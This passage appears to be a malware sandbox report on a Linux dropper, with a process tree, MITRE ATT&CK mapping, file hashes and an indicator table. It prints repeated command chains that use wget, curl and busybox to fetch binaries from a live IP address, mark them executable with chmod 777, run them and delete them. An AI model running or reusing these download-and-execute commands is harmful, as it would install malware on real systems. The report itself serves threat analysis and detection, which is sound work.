  /bin/busybox wget http://216.126.231.240/bins/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  PID:964
- /bin/chmod
  chmod 777 uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  ./uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
  2⤵
  PID:967
- /usr/bin/wget
  wget http://216.126.231.240/bins/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  PID:970
- /bin/chmod
  chmod 777 4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  ./4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm 4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
  2⤵
  PID:973
- /usr/bin/wget
  wget http://216.126.231.240/bins/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  PID:976
- /bin/chmod
  chmod 777 Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  ./Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
  2⤵
  PID:979
- /usr/bin/wget
  wget http://216.126.231.240/bins/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  PID:982
- /bin/chmod
  chmod 777 pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  ./pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
  2⤵
  PID:985

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p

Path /tmp/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p	732	Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
/tmp/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5	744	pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5
/tmp/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY	765	dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
/tmp/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp	789	p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
/tmp/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7	816	Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
/tmp/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO	825	usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
/tmp/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk	855	CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
/tmp/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS	864	tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
/tmp/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx	870	S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
/tmp/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr	876	NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
/tmp/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO	882	MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
/tmp/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs	888	uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
/tmp/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ	894	4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
/tmp/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N	900	oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
/tmp/usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO	906	usSwJY1CvpvP4oBC6p2n2UOulgjk3DLDQO
/tmp/CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk	912	CuxEGmaojd5yxu81G3tEjnF17QChWrXZvk
/tmp/dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY	918	dxe5Rdi3K4dhOZSxAbaQYx6ITTmcKUnuWY
/tmp/p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp	924	p7PPU1eGIjR5080ukiz1bpBPfE9PJRwpNp
/tmp/Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7	930	Y3BLHR7G3XNpADz6u0rPW86aWrcya9Uvq7
/tmp/tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS	936	tMzOTGU5viRhlyCISkxBFzQNvTZBftm1nS
/tmp/S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx	942	S5DFRTHTeId6MC1OsaykfRC5cK3vdT6Zqx
/tmp/NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr	948	NISnLCGBPIXkpcsa0OAz5KbY2Oe0QvNTBr
/tmp/oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N	954	oKtvaweheph7X1ZnhMEDIhYBmE2vVx2E9N
/tmp/MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO	960	MTlIirGKPb0g4OKsaUQYzJG4z3T6D155jO
/tmp/uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs	966	uknJs8UrJUFqef6OSVQ7mNdvQvDdhFKYbs
/tmp/4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ	972	4nW9CtAxkzS4EabP6bMCCi30PSp99g9UBZ
/tmp/Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p	978	Rgqkovkducq3fGzvTPq7wBvXdRpFtBGn5p
/tmp/pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5	984	pqxWChoLxeAIHjv2HiWo4kCcXaYHELJ1U5